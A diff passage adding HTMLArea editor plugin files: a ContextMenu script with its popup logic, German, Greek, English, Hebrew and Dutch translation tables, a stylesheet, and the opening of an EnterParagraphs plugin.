+ HTMLArea._addEvents(doc, ["contextmenu"],
+ function (event) {
+ return self.popupMenu(HTMLArea.is_ie ? self.editor._iframe.contentWindow.event : event);
+ });
+ this.currentMenu = null;
+};
+
+ContextMenu.prototype.getContextMenu = function(target) {
+ var self = this;
+ var editor = this.editor;
+ var config = editor.config;
+ var menu = [];
+ var tbo = this.editor.plugins.TableOperations;
+ if (tbo) tbo = tbo.instance;
+ var i18n = ContextMenu.I18N;
+
+ var selection = editor.hasSelectedText();
+ if (selection)
+ menu.push([ i18n["Cut"], function() { editor.execCommand("cut"); }, null, config.btnList["cut"][1] ],
+ [ i18n["Copy"], function() { editor.execCommand("copy"); }, null, config.btnList["copy"][1] ]);
+ menu.push([ i18n["Paste"], function() { editor.execCommand("paste"); }, null, config.btnList["paste"][1] ]);
+
+ var currentTarget = target;
+ var elmenus = [];
+
+ var link = null;
+ var table = null;
+ var tr = null;
+ var td = null;
+ var img = null;
+
+ function tableOperation(opcode) {
+ tbo.buttonPress(editor, opcode);
+ };
+
+ for (; target; target = target.parentNode) {
+ var tag = target.tagName;
+ if (!tag)
+ continue;
+ tag = tag.toLowerCase();
+ switch (tag) {
+ case "img":
+ img = target;
+ elmenus.push(null,
+ [ i18n["Image Properties"],
+ function() {
+ editor._insertImage(img);
+ },
+ i18n["Show the image properties dialog"],
+ config.btnList["insertimage"][1] ]
+ );
+ break;
+ case "a":
+ link = target;
+ elmenus.push(null,
+ [ i18n["Modify Link"],
+ function() { editor.execCommand("createlink", true); },
+ i18n["Current URL is"] + ': ' + link.href,
+ config.btnList["createlink"][1] ],
+
+ [ i18n["Check Link"],
+ function() { window.open(link.href); },
+ i18n["Opens this link in a new window"] ],
+
+ [ i18n["Remove Link"],
+ function() {
+ if (confirm(i18n["Please confirm that you want to unlink this element."] + "\n" +
+ i18n["Link points to:"] + " " + link.href)) {
+ while (link.firstChild)
+ link.parentNode.insertBefore(link.firstChild, link);
+ link.parentNode.removeChild(link);
+ }
+ },
+ i18n["Unlink the current element"] ]
+ );
+ break;
+ case "td":
+ td = target;
+ if (!tbo) break;
+ elmenus.push(null,
+ [ i18n["Cell Properties"],
+ function() { tableOperation("TO-cell-prop"); },
+ i18n["Show the Table Cell Properties dialog"],
+ config.btnList["TO-cell-prop"][1] ]
+ );
+ break;
+ case "tr":
+ tr = target;
+ if (!tbo) break;
+ elmenus.push(null,
+ [ i18n["Row Properties"],
+ function() { tableOperation("TO-row-prop"); },
+ i18n["Show the Table Row Properties dialog"],
+ config.btnList["TO-row-prop"][1] ],
+
+ [ i18n["Insert Row Before"],
+ function() { tableOperation("TO-row-insert-above"); },
+ i18n["Insert a new row before the current one"],
+ config.btnList["TO-row-insert-above"][1] ],
+
+ [ i18n["Insert Row After"],
+ function() { tableOperation("TO-row-insert-under"); },
+ i18n["Insert a new row after the current one"],
+ config.btnList["TO-row-insert-under"][1] ],
+
+ [ i18n["Delete Row"],
+ function() { tableOperation("TO-row-delete"); },
+ i18n["Delete the current row"],
+ config.btnList["TO-row-delete"][1] ]
+ );
+ break;
+ case "table":
+ table = target;
+ if (!tbo) break;
+ elmenus.push(null,
+ [ i18n["Table Properties"],
+ function() { tableOperation("TO-table-prop"); },
+ i18n["Show the Table Properties dialog"],
+ config.btnList["TO-table-prop"][1] ],
+
+ [ i18n["Insert Column Before"],
+ function() { tableOperation("TO-col-insert-before"); },
+ i18n["Insert a new column before the current one"],
+ config.btnList["TO-col-insert-before"][1] ],
+
+ [ i18n["Insert Column After"],
+ function() { tableOperation("TO-col-insert-after"); },
+ i18n["Insert a new column after the current one"],
+ config.btnList["TO-col-insert-after"][1] ],
+
+ [ i18n["Delete Column"],
+ function() { tableOperation("TO-col-delete"); },
+ i18n["Delete the current column"],
+ config.btnList["TO-col-delete"][1] ]
+ );
+ break;
+ case "body":
+ elmenus.push(null,
+ [ i18n["Justify Left"],
+ function() { editor.execCommand("justifyleft"); }, null,
+ config.btnList["justifyleft"][1] ],
+ [ i18n["Justify Center"],
+ function() { editor.execCommand("justifycenter"); }, null,
+ config.btnList["justifycenter"][1] ],
+ [ i18n["Justify Right"],
+ function() { editor.execCommand("justifyright"); }, null,
+ config.btnList["justifyright"][1] ],
+ [ i18n["Justify Full"],
+ function() { editor.execCommand("justifyfull"); }, null,
+ config.btnList["justifyfull"][1] ]
+ );
+ break;
+ }
+ }
+
+ if (selection && !link)
+ menu.push(null, [ i18n["Make link"],
+ function() { editor.execCommand("createlink", true); },
+ i18n["Create a link"],
+ config.btnList["createlink"][1] ]);
+
+ for (var i in elmenus)
+ menu.push(elmenus[i]);
+
+ menu.push(null,
+ [ i18n["Remove the"] + " <" + currentTarget.tagName + "> " + i18n["Element"],
+ function() {
+ if (confirm(i18n["Please confirm that you want to remove this element:"] + " " + currentTarget.tagName)) {
+ var el = currentTarget;
+ var p = el.parentNode;
+ p.removeChild(el);
+ if (HTMLArea.is_gecko) {
+ if (p.tagName.toLowerCase() == "td" && !p.hasChildNodes())
+ p.appendChild(editor._doc.createElement("br"));
+ editor.forceRedraw();
+ editor.focusEditor();
+ editor.updateToolbar();
+ if (table) {
+ var save_collapse = table.style.borderCollapse;
+ table.style.borderCollapse = "collapse";
+ table.style.borderCollapse = "separate";
+ table.style.borderCollapse = save_collapse;
+ }
+ }
+ }
+ },
+ i18n["Remove this node from the document"] ]);
+ return menu;
+};
+
+ContextMenu.prototype.popupMenu = function(ev) {
+ var self = this;
+ var i18n = ContextMenu.I18N;
+ if (this.currentMenu)
+ this.currentMenu.parentNode.removeChild(this.currentMenu);
+ function getPos(el) {
+ var r = { x: el.offsetLeft, y: el.offsetTop };
+ if (el.offsetParent) {
+ var tmp = getPos(el.offsetParent);
+ r.x += tmp.x;
+ r.y += tmp.y;
+ }
+ return r;
+ };
+ function documentClick(ev) {
+ ev || (ev = window.event);
+ if (!self.currentMenu) {
+ alert(i18n["How did you get here? (Please report!)"]);
+ return false;
+ }
+ var el = HTMLArea.is_ie ? ev.srcElement : ev.target;
+ for (; el != null && el != self.currentMenu; el = el.parentNode);
+ if (el == null)
+ self.closeMenu();
+ //HTMLArea._stopEvent(ev);
+ //return false;
+ };
+ var keys = [];
+ function keyPress(ev) {
+ ev || (ev = window.event);
+ HTMLArea._stopEvent(ev);
+ if (ev.keyCode == 27) {
+ self.closeMenu();
+ return false;
+ }
+ var key = String.fromCharCode(HTMLArea.is_ie ? ev.keyCode : ev.charCode).toLowerCase();
+ for (var i = keys.length; --i >= 0;) {
+ var k = keys[i];
+ if (k[0].toLowerCase() == key)
+ k[1].__msh.activate();
+ }
+ };
+ self.closeMenu = function() {
+ self.currentMenu.parentNode.removeChild(self.currentMenu);
+ self.currentMenu = null;
+ HTMLArea._removeEvent(document, "mousedown", documentClick);
+ HTMLArea._removeEvent(self.editordoc, "mousedown", documentClick);
+ if (keys.length > 0)
+ HTMLArea._removeEvent(self.editordoc, "keypress", keyPress);
+ if (HTMLArea.is_ie)
+ self.iePopup.hide();
+ };
+ var target = HTMLArea.is_ie ? ev.srcElement : ev.target;
+ var ifpos = getPos(self.editor._iframe);
+ var x = ev.clientX + ifpos.x;
+ var y = ev.clientY + ifpos.y;
+
+ var div;
+ var doc;
+ if (!HTMLArea.is_ie) {
+ doc = document;
+ } else {
+ // IE stinks
+ var popup = this.iePopup = window.createPopup();
+ doc = popup.document;
+ doc.open();
+ doc.write("<html><head><style type='text/css'>@import url(" + _editor_url + "plugins/ContextMenu/menu.css); html, body { padding: 0px; margin: 0px; overflow: hidden; border: 0px; }</style></head><body unselectable='yes'></body></html>");
+ doc.close();
+ }
+ div = doc.createElement("div");
+ if (HTMLArea.is_ie)
+ div.unselectable = "on";
+ div.oncontextmenu = function() { return false; };
+ div.className = "htmlarea-context-menu";
+ if (!HTMLArea.is_ie)
+ div.style.left = div.style.top = "0px";
+ doc.body.appendChild(div);
+
+ var table = doc.createElement("table");
+ div.appendChild(table);
+ table.cellSpacing = 0;
+ table.cellPadding = 0;
+ var parent = doc.createElement("tbody");
+ table.appendChild(parent);
+
+ var options = this.getContextMenu(target);
+ for (var i = 0; i < options.length; ++i) {
+ var option = options[i];
+ var item = doc.createElement("tr");
+ parent.appendChild(item);
+ if (HTMLArea.is_ie)
+ item.unselectable = "on";
+ else item.onmousedown = function(ev) {
+ HTMLArea._stopEvent(ev);
+ return false;
+ };
+ if (!option) {
+ item.className = "separator";
+ var td = doc.createElement("td");
+ td.className = "icon";
+ var IE_IS_A_FUCKING_SHIT = '>';
+ if (HTMLArea.is_ie) {
+ td.unselectable = "on";
+ IE_IS_A_FUCKING_SHIT = " unselectable='on' style='height=1px'> ";
+ }
+ td.innerHTML = "<div" + IE_IS_A_FUCKING_SHIT + "</div>";
+ var td1 = td.cloneNode(true);
+ td1.className = "label";
+ item.appendChild(td);
+ item.appendChild(td1);
+ } else {
+ var label = option[0];
+ item.className = "item";
+ item.__msh = {
+ item: item,
+ label: label,
+ action: option[1],
+ tooltip: option[2] || null,
+ icon: option[3] || null,
+ activate: function() {
+ self.closeMenu();
+ self.editor.focusEditor();
+ this.action();
+ }
+ };
+ label = label.replace(/_([a-zA-Z0-9])/, "<u>$1</u>");
+ if (label != option[0])
+ keys.push([ RegExp.$1, item ]);
+ label = label.replace(/__/, "_");
+ var td1 = doc.createElement("td");
+ if (HTMLArea.is_ie)
+ td1.unselectable = "on";
+ item.appendChild(td1);
+ td1.className = "icon";
+ if (item.__msh.icon)
+ td1.innerHTML = "<img align='middle' src='" + item.__msh.icon + "' />";
+ var td2 = doc.createElement("td");
+ if (HTMLArea.is_ie)
+ td2.unselectable = "on";
+ item.appendChild(td2);
+ td2.className = "label";
+ td2.innerHTML = label;
+ item.onmouseover = function() {
+ this.className += " hover";
+ self.editor._statusBarTree.innerHTML = this.__msh.tooltip || ' ';
+ };
+ item.onmouseout = function() { this.className = "item"; };
+ item.oncontextmenu = function(ev) {
+ this.__msh.activate();
+ if (!HTMLArea.is_ie)
+ HTMLArea._stopEvent(ev);
+ return false;
+ };
+ item.onmouseup = function(ev) {
+ var timeStamp = (new Date()).getTime();
+ if (timeStamp - self.timeStamp > 500)
+ this.__msh.activate();
+ if (!HTMLArea.is_ie)
+ HTMLArea._stopEvent(ev);
+ return false;
+ };
+ //if (typeof option[2] == "string")
+ //item.title = option[2];
+ }
+ }
+
+ if (!HTMLArea.is_ie) {
+ var dx = x + div.offsetWidth - window.innerWidth + 4;
+ var dy = y + div.offsetHeight - window.innerHeight + 4;
+ if (dx > 0) x -= dx;
+ if (dy > 0) y -= dy;
+ div.style.left = x + "px";
+ div.style.top = y + "px";
+ } else {
+ // determine the size (did I mention that IE stinks?)
+ var foobar = document.createElement("div");
+ foobar.className = "htmlarea-context-menu";
+ foobar.innerHTML = div.innerHTML;
+ document.body.appendChild(foobar);
+ var w = foobar.offsetWidth;
+ var h = foobar.offsetHeight;
+ document.body.removeChild(foobar);
+ this.iePopup.show(ev.screenX, ev.screenY, w, h);
+ }
+
+ this.currentMenu = div;
+ this.timeStamp = (new Date()).getTime();
+
+ HTMLArea._addEvent(document, "mousedown", documentClick);
+ HTMLArea._addEvent(this.editordoc, "mousedown", documentClick);
+ if (keys.length > 0)
+ HTMLArea._addEvent(this.editordoc, "keypress", keyPress);
+
+ HTMLArea._stopEvent(ev);
+ return false;
+};
--- /dev/null
+// I18N constants
+
+// LANG: "de", ENCODING: UTF-8 | ISO-8859-1
+
+// translated: <]{MJ}[> i@student.ethz.ch
+
+
+ContextMenu.I18N = {
+ // Items that appear in menu. Please note that an underscore (_)
+ // character in the translation (right column) will cause the following
+ // letter to become underlined and be shortcut for that menu option.
+
+ "Cut" : "Ausschneiden",
+ "Copy" : "Kopieren",
+ "Paste" : "Einfügen",
+ "Image Properties" : "_Bild Einstellungen...",
+ "Modify Link" : "_Link ändern...",
+ "Check Link" : "Link testen...",
+ "Remove Link" : "Link entfernen...",
+ "Cell Properties" : "Z_ellen Einstellungen...",
+ "Row Properties" : "Ze_ilen Einstellungen...",
+ "Insert Row Before" : "Zeile einfügen v_or Position",
+ "Insert Row After" : "Zeile einfügen n_ach Position",
+ "Delete Row" : "Zeile löschen",
+ "Table Properties" : "_Tabellen Einstellungen...",
+ "Insert Column Before" : "Spalte einfügen vo_r Position",
+ "Insert Column After" : "Spalte einfügen na_ch Position",
+ "Delete Column" : "Spalte löschen",
+ "Justify Left" : "Links ausrichten",
+ "Justify Center" : "Zentriert",
+ "Justify Right" : "Rechts ausrichten",
+ "Justify Full" : "Blocksatz",
+ "Make link" : "Lin_k erstellen...",
+ "Remove the" : "",
+ "Element" : "Element entfernen...",
+
+ // Other labels (tooltips and alert/confirm box messages)
+
+ "Please confirm that you want to remove this element:" : "Wollen sie dieses Element wirklich entfernen ?",
+ "Remove this node from the document" : "Dieses Element aus dem Dokument entfernen",
+ "How did you get here? (Please report!)" : "How did you get here? (Please report!)",
+ "Show the image properties dialog" : "Fenster für die Bild-Einstellungen anzeigen",
+ "Modify URL" : "URL ändern",
+ "Current URL is" : "Aktuelle URL ist",
+ "Opens this link in a new window" : "Diesen Link in neuem Fenster öffnen",
+ "Please confirm that you want to unlink this element." : "Wollen sie diesen Link wirklich entfernen ?",
+ "Link points to:" : "Link zeigt auf:",
+ "Unlink the current element" : "Link auf Element entfernen",
+ "Show the Table Cell Properties dialog" : "Zellen-Einstellungen anzeigen",
+ "Show the Table Row Properties dialog" : "Zeilen-Einstellungen anzeigen",
+ "Insert a new row before the current one" : "Zeile einfügen vor der aktuellen Position",
+ "Insert a new row after the current one" : "Zeile einfügen nach der aktuellen Position",
+ "Delete the current row" : "Zeile löschen",
+ "Show the Table Properties dialog" : "Show the Table Properties dialog",
+ "Insert a new column before the current one" : "Spalte einfügen vor der aktuellen Position",
+ "Insert a new column after the current one" : "Spalte einfügen nach der aktuellen Position",
+ "Delete the current column" : "Spalte löschen",
+ "Create a link" : "Link erstellen"
+};
--- /dev/null
+// I18N constants
+
+// LANG: "el", ENCODING: UTF-8 | ISO-8859-7
+// Author: Dimitris Glezos, dimitris@glezos.com
+
+ContextMenu.I18N = {
+ // Items that appear in menu. Please note that an underscore (_)
+ // character in the translation (right column) will cause the following
+ // letter to become underlined and be shortcut for that menu option.
+
+ "Cut" : "Αποκοπή",
+ "Copy" : "Αντιγραφή",
+ "Paste" : "Επικόλληση",
+ "Image Properties" : "Ιδιότητες Εικόνας...",
+ "Modify Link" : "Τροποποίηση συνδέσμου...",
+ "Check Link" : "Έλεγχος συνδέσμων...",
+ "Remove Link" : "Διαγραφή συνδέσμου...",
+ "Cell Properties" : "Ιδιότητες κελιού...",
+ "Row Properties" : "Ιδιότητες γραμμής...",
+ "Insert Row Before" : "Εισαγωγή γραμμής πριν",
+ "Insert Row After" : "Εισαγωγή γραμμής μετά",
+ "Delete Row" : "Διαγραφή γραμμής",
+ "Table Properties" : "Ιδιότητες πίνακα...",
+ "Insert Column Before" : "Εισαγωγή στήλης πριν",
+ "Insert Column After" : "Εισαγωγή στήλης μετά",
+ "Delete Column" : "Διαγραφή στήλης",
+ "Justify Left" : "Στοίχηση Αριστερά",
+ "Justify Center" : "Στοίχηση Κέντρο",
+ "Justify Right" : "Στοίχηση Δεξιά",
+ "Justify Full" : "Πλήρης Στοίχηση",
+ "Make link" : "Δημιουργία συνδέσμου...",
+ "Remove the" : "Αφαίρεση",
+ "Element" : "στοιχείου...",
+
+ // Other labels (tooltips and alert/confirm box messages)
+
+ "Please confirm that you want to remove this element:" : "Είστε βέβαιος πως θέλετε να αφαιρέσετε το στοιχείο ",
+ "Remove this node from the document" : "Αφαίρεση αυτού του κόμβου από το έγγραφο",
+ "How did you get here? (Please report!)" : "Πώς ήρθατε μέχρι εδώ; (Παρακαλούμε αναφέρετε το!)",
+ "Show the image properties dialog" : "Εμφάνιση διαλόγου με τις Ιδιότητες εικόνας",
+ "Modify URL" : "Τροποποίηση URL",
+ "Current URL is" : "Το τρέχων URL είναι",
+ "Opens this link in a new window" : "Ανοίγει αυτό τον σύνδεσμο σε ένα νέο παράθυρο",
+ "Please confirm that you want to unlink this element." : "Είστε βέβαιος πως θέλετε να αφαιρέσετε τον σύνδεσμο από αυτό το στοιχείο:",
+ "Link points to:" : "Ο σύνδεμος οδηγεί εδώ:",
+ "Unlink the current element" : "Αφαίρεση συνδέσμου από το παρών στοιχείο",
+ "Show the Table Cell Properties dialog" : "Εμφάνιση διαλόγου με τις Ιδιότητες κελιού Πίνακα",
+ "Show the Table Row Properties dialog" : "Εμφάνιση διαλόγου με τις Ιδιότητες γραμμής Πίνακα",
+ "Insert a new row before the current one" : "Εισαγωγή μιας νέας γραμμής πριν την επιλεγμένη",
+ "Insert a new row after the current one" : "Εισαγωγή μιας νέας γραμμής μετά την επιλεγμένη",
+ "Delete the current row" : "Διαγραφή επιλεγμένης γραμμής",
+ "Show the Table Properties dialog" : "Εμφάνιση διαλόγου με τις Ιδιότητες Πίνακα",
+ "Insert a new column before the current one" : "Εισαγωγή νέας στήλης πριν την επιλεγμένη",
+ "Insert a new column after the current one" : "Εισαγωγή νέας στήλης μετά την επιλεγμένη",
+ "Delete the current column" : "Διαγραφή επιλεγμένης στήλης",
+ "Create a link" : "Δημιουργία συνδέσμου"
+};
--- /dev/null
+// I18N constants
+
+// LANG: "en", ENCODING: UTF-8 | ISO-8859-1
+// Author: Mihai Bazon, http://dynarch.com/mishoo
+
+// FOR TRANSLATORS:
+//
+// 1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE
+// (at least a valid email address)
+//
+// 2. PLEASE TRY TO USE UTF-8 FOR ENCODING;
+// (if this is not possible, please include a comment
+// that states what encoding is necessary.)
+
+ContextMenu.I18N = {
+ // Items that appear in menu. Please note that an underscore (_)
+ // character in the translation (right column) will cause the following
+ // letter to become underlined and be shortcut for that menu option.
+
+ "Cut" : "Cut",
+ "Copy" : "Copy",
+ "Paste" : "Paste",
+ "Image Properties" : "_Image Properties...",
+ "Modify Link" : "_Modify Link...",
+ "Check Link" : "Chec_k Link...",
+ "Remove Link" : "_Remove Link...",
+ "Cell Properties" : "C_ell Properties...",
+ "Row Properties" : "Ro_w Properties...",
+ "Insert Row Before" : "I_nsert Row Before",
+ "Insert Row After" : "In_sert Row After",
+ "Delete Row" : "_Delete Row",
+ "Table Properties" : "_Table Properties...",
+ "Insert Column Before" : "Insert _Column Before",
+ "Insert Column After" : "Insert C_olumn After",
+ "Delete Column" : "De_lete Column",
+ "Justify Left" : "Justify Left",
+ "Justify Center" : "Justify Center",
+ "Justify Right" : "Justify Right",
+ "Justify Full" : "Justify Full",
+ "Make link" : "Make lin_k...",
+ "Remove the" : "Remove the",
+ "Element" : "Element...",
+
+ // Other labels (tooltips and alert/confirm box messages)
+
+ "Please confirm that you want to remove this element:" : "Please confirm that you want to remove this element:",
+ "Remove this node from the document" : "Remove this node from the document",
+ "How did you get here? (Please report!)" : "How did you get here? (Please report!)",
+ "Show the image properties dialog" : "Show the image properties dialog",
+ "Modify URL" : "Modify URL",
+ "Current URL is" : "Current URL is",
+ "Opens this link in a new window" : "Opens this link in a new window",
+ "Please confirm that you want to unlink this element." : "Please confirm that you want to unlink this element.",
+ "Link points to:" : "Link points to:",
+ "Unlink the current element" : "Unlink the current element",
+ "Show the Table Cell Properties dialog" : "Show the Table Cell Properties dialog",
+ "Show the Table Row Properties dialog" : "Show the Table Row Properties dialog",
+ "Insert a new row before the current one" : "Insert a new row before the current one",
+ "Insert a new row after the current one" : "Insert a new row after the current one",
+ "Delete the current row" : "Delete the current row",
+ "Show the Table Properties dialog" : "Show the Table Properties dialog",
+ "Insert a new column before the current one" : "Insert a new column before the current one",
+ "Insert a new column after the current one" : "Insert a new column after the current one",
+ "Delete the current column" : "Delete the current column",
+ "Create a link" : "Create a link"
+};
--- /dev/null
+// I18N constants\r\r
+\r\r
+// LANG: "he", ENCODING: UTF-8\r\r
+// Author: Liron Newman, http://www.eesh.net, <plastish at ultinet dot org>\r\r
+\r\r
+// FOR TRANSLATORS:\r\r
+//\r\r
+// 1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE\r\r
+// (at least a valid email address)\r\r
+//\r\r
+// 2. PLEASE TRY TO USE UTF-8 FOR ENCODING;\r\r
+// (if this is not possible, please include a comment\r\r
+// that states what encoding is necessary.)\r\r
+\r\r
+ContextMenu.I18N = {\r\r
+ // Items that appear in menu. Please note that an underscore (_)\r\r
+ // character in the translation (right column) will cause the following\r\r
+ // letter to become underlined and be shortcut for that menu option.\r\r
+\r\r
+ "Cut" : "גזור",\r\r
+ "Copy" : "העתק",\r\r
+ "Paste" : "הדבק",\r\r
+ "Image Properties" : "_מאפייני תמונה...",\r\r
+ "Modify Link" : "_שנה קישור...",\r\r
+ "Check Link" : "בדו_ק קישור...",\r\r
+ "Remove Link" : "_הסר קישור...",\r\r
+ "Cell Properties" : "מאפייני ת_א...",\r\r
+ "Row Properties" : "מאפייני _טור...",\r\r
+ "Insert Row Before" : "ה_כנס שורה לפני",\r\r
+ "Insert Row After" : "הכנ_ס שורה אחרי",\r\r
+ "Delete Row" : "_מחק שורה",\r\r
+ "Table Properties" : "מאפייני ט_בלה...",\r\r
+ "Insert Column Before" : "הכנס _טור לפני",\r\r
+ "Insert Column After" : "הכנס ט_ור אחרי",\r\r
+ "Delete Column" : "מח_ק טור",\r\r
+ "Justify Left" : "ישור לשמאל",\r\r
+ "Justify Center" : "ישור למרכז",\r\r
+ "Justify Right" : "ישור לימין",\r\r
+ "Justify Full" : "ישור לשורה מלאה",\r\r
+ "Make link" : "צור קי_שור...",\r\r
+ "Remove the" : "הסר את אלמנט ה-",\r\r
+ "Element" : "...",\r\r
+\r\r
+ // Other labels (tooltips and alert/confirm box messages)\r\r
+\r\r
+ "Please confirm that you want to remove this element:" : "אנא אשר שברצונך להסיר את האלמנט הזה:",\r\r
+ "Remove this node from the document" : "הסרה של node זה מהמסמך",\r\r
+ "How did you get here? (Please report!)" : "איך הגעת הנה? (אנא דווח!)",\r\r
+ "Show the image properties dialog" : "מציג את חלון הדו-שיח של מאפייני תמונה",\r\r
+ "Modify URL" : "שינוי URL",\r\r
+ "Current URL is" : "URL נוכחי הוא",\r\r
+ "Opens this link in a new window" : "פתיחת קישור זה בחלון חדש",\r\r
+ "Please confirm that you want to unlink this element." : "אנא אשר שאתה רוצה לנתק את אלמנט זה.",\r\r
+ "Link points to:" : "הקישור מצביע אל:",\r\r
+ "Unlink the current element" : "ניתוק את האלמנט הנוכחי",\r\r
+ "Show the Table Cell Properties dialog" : "מציג את חלון הדו-שיח של מאפייני תא בטבלה",\r\r
+ "Show the Table Row Properties dialog" : "מציג את חלון הדו-שיח של מאפייני שורה בטבלה",\r\r
+ "Insert a new row before the current one" : "הוספת שורה חדשה לפני הנוכחית",\r\r
+ "Insert a new row after the current one" : "הוספת שורה חדשה אחרי הנוכחית",\r\r
+ "Delete the current row" : "מחיקת את השורה הנוכחית",\r\r
+ "Show the Table Properties dialog" : "מציג את חלון הדו-שיח של מאפייני טבלה",\r\r
+ "Insert a new column before the current one" : "הוספת טור חדש לפני הנוכחי",\r\r
+ "Insert a new column after the current one" : "הוספת טור חדש אחרי הנוכחי",\r\r
+ "Delete the current column" : "מחיקת את הטור הנוכחי",\r\r
+ "Create a link" : "יצירת קישור"\r\r
+};\r\r
--- /dev/null
+<files>
+ <file name="*.js" />
+</files>
--- /dev/null
+// I18N constants\r\r
+\r\r
+// LANG: "nl", ENCODING: UTF-8 | ISO-8859-1\r\r
+// Author: Michel Weegeerink (info@mmc-shop.nl), http://mmc-shop.nl\r\r
+\r\r
+// FOR TRANSLATORS:\r\r
+//\r\r
+// 1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE\r\r
+// (at least a valid email address)\r\r
+//\r\r
+// 2. PLEASE TRY TO USE UTF-8 FOR ENCODING;\r\r
+// (if this is not possible, please include a comment\r\r
+// that states what encoding is necessary.)\r\r
+\r\r
+ContextMenu.I18N = {\r\r
+ // Items that appear in menu. Please note that an underscore (_)\r\r
+ // character in the translation (right column) will cause the following\r\r
+ // letter to become underlined and be shortcut for that menu option.\r\r
+\r\r
+ "Cut" : "Knippen",\r\r
+ "Copy" : "Kopiëren",\r\r
+ "Paste" : "Plakken",\r\r
+ "Image Properties" : "Eigenschappen afbeelding...",\r\r
+ "Modify Link" : "Hyperlin_k aanpassen...",\r\r
+ "Check Link" : "Controleer hyperlin_k...",\r\r
+ "Remove Link" : "Ve_rwijder hyperlink...",\r\r
+ "Cell Properties" : "C_eleigenschappen...",\r\r
+ "Row Properties" : "Rijeigenscha_ppen...",\r\r
+ "Insert Row Before" : "Rij invoegen boven",\r\r
+ "Insert Row After" : "Rij invoegen onder",\r\r
+ "Delete Row" : "Rij _verwijderen",\r\r
+ "Table Properties" : "_Tabeleigenschappen...",\r\r
+ "Insert Column Before" : "Kolom invoegen voor",\r\r
+ "Insert Column After" : "Kolom invoegen na",\r\r
+ "Delete Column" : "Kolom verwijderen",\r\r
+ "Justify Left" : "Links uitlijnen",\r\r
+ "Justify Center" : "Centreren",\r\r
+ "Justify Right" : "Rechts uitlijnen",\r\r
+ "Justify Full" : "Uitvullen",\r\r
+ "Make link" : "Maak hyperlin_k...",\r\r
+ "Remove the" : "Verwijder het",\r\r
+ "Element" : "element...",\r\r
+\r\r
+ // Other labels (tooltips and alert/confirm box messages)\r\r
+\r\r
+ "Please confirm that you want to remove this element:" : "Is het werkelijk de bedoeling dit element te verwijderen:",\r\r
+ "Remove this node from the document" : "Verwijder dit punt van het document",\r\r
+ "How did you get here? (Please report!)" : "Hoe kwam je hier? (A.U.B. doorgeven!)",\r\r
+ "Show the image properties dialog" : "Laat het afbeeldingseigenschappen dialog zien",\r\r
+ "Modify URL" : "Aanpassen URL",\r\r
+ "Current URL is" : "Huidig URL is",\r\r
+ "Opens this link in a new window" : "Opend deze hyperlink in een nieuw venster",\r\r
+ "Please confirm that you want to unlink this element." : "Is het werkelijk de bedoeling dit element te unlinken.",\r\r
+ "Link points to:" : "Hyperlink verwijst naar:",\r\r
+ "Unlink the current element" : "Unlink het huidige element",\r\r
+ "Show the Table Cell Properties dialog" : "Laat de tabel celeigenschappen dialog zien",\r\r
+ "Show the Table Row Properties dialog" : "Laat de tabel rijeigenschappen dialog zien",\r\r
+ "Insert a new row before the current one" : "Voeg een nieuwe rij in boven de huidige",\r\r
+ "Insert a new row after the current one" : "Voeg een nieuwe rij in onder de huidige",\r\r
+ "Delete the current row" : "Verwijder de huidige rij",\r\r
+ "Show the Table Properties dialog" : "Laat de tabel eigenschappen dialog zien",\r\r
+ "Insert a new column before the current one" : "Voeg een nieuwe kolom in voor de huidige",\r\r
+ "Insert a new column after the current one" : "Voeg een nieuwe kolom in na de huidige",\r\r
+ "Delete the current column" : "Verwijder de huidige kolom",\r\r
+ "Create a link" : "Maak een hyperlink"\r\r
+};\r\r
--- /dev/null
+<files>
+ <file name="*.{js,html,cgi,css}" />
+
+ <dir name="lang" />
+</files>
+
--- /dev/null
+/* styles for the ContextMenu /HTMLArea */
+/* The ContextMenu plugin is (c) dynarch.com 2003. */
+/* Distributed under the same terms as HTMLArea itself */
+
+div.htmlarea-context-menu {
+ position: absolute;
+ border: 1px solid #aca899;
+ padding: 2px;
+ background-color: #fff;
+ cursor: default;
+ z-index: 1000;
+}
+
+div.htmlarea-context-menu table {
+ font: 11px tahoma,verdana,sans-serif;
+ border-collapse: collapse;
+}
+
+div.htmlarea-context-menu tr.item td.icon img {
+ width: 18px;
+ height: 18px;
+}
+
+div.htmlarea-context-menu tr.item td.icon {
+ padding: 0px 3px;
+ height: 18px;
+ background-color: #cdf;
+}
+
+div.htmlarea-context-menu tr.item td.label {
+ padding: 1px 10px 1px 3px;
+}
+
+div.htmlarea-context-menu tr.separator td {
+ padding: 2px 0px;
+}
+
+div.htmlarea-context-menu tr.separator td div {
+ border-top: 1px solid #aca899;
+ overflow: hidden;
+ position: relative;
+}
+
+div.htmlarea-context-menu tr.separator td.icon {
+ background-color: #cdf;
+}
+
+div.htmlarea-context-menu tr.separator td.icon div {
+/* margin-left: 3px; */
+ border-color: #fff;
+}
+
+div.htmlarea-context-menu tr.separator td.label div {
+ margin-right: 3px;
+}
+
+div.htmlarea-context-menu tr.item.hover {
+ background-color: #316ac5;
+ color: #fff;
+}
+
+div.htmlarea-context-menu tr.item.hover td.icon {
+ background-color: #619af5;
+}
--- /dev/null
+// Modification to htmlArea to insert Paragraphs instead of
+// linebreaks, under Gecko engines, circa January 2004
+// By Adam Wright, for The University of Western Australia
+//
+// Distributed under the same terms as HTMLArea itself.
+// This notice MUST stay intact for use (see license.txt).
+
+function EnterParagraphs(editor, params) {
+ this.editor = editor;
+ // activate only if we're talking to Gecko
+ if (HTMLArea.is_gecko)
+ this.onKeyPress = this.__onKeyPress;
+};
+
+EnterParagraphs._pluginInfo = {
+ name : "EnterParagraphs",
+ version : "1.0",
+ developer : "Adam Wright",
+ developer_url : "http://blog.hipikat.org/",
+ sponsor : "The University of Western Australia",
+ sponsor_url : "http://www.uwa.edu.au/",
+ license : "htmlArea"
+};
+
+// An array of elements who, in html4, by default, have an inline display and can have children
+// we use RegExp here since it should be a bit faster, also cleaner to check
+EnterParagraphs.prototype._html4_inlines_re = /^(a|abbr|acronym|b|bdo|big|cite|code|dfn|em|font|i|kbd|label|q|s|samp|select|small|span|strike|strong|sub|sup|textarea|tt|u|var)$/i;
+
+// Finds the first parent element of a given node whose display is probably not inline
+EnterParagraphs.prototype.parentBlock = function(node) {
+ while (node.parentNode && (node.nodeType != 1 || this._html4_inlines_re.test(node.tagName)))
+ node = node.parentNode;
+ return node;
+};
+
+// Internal function for recursively itterating over a all nodes in a fragment
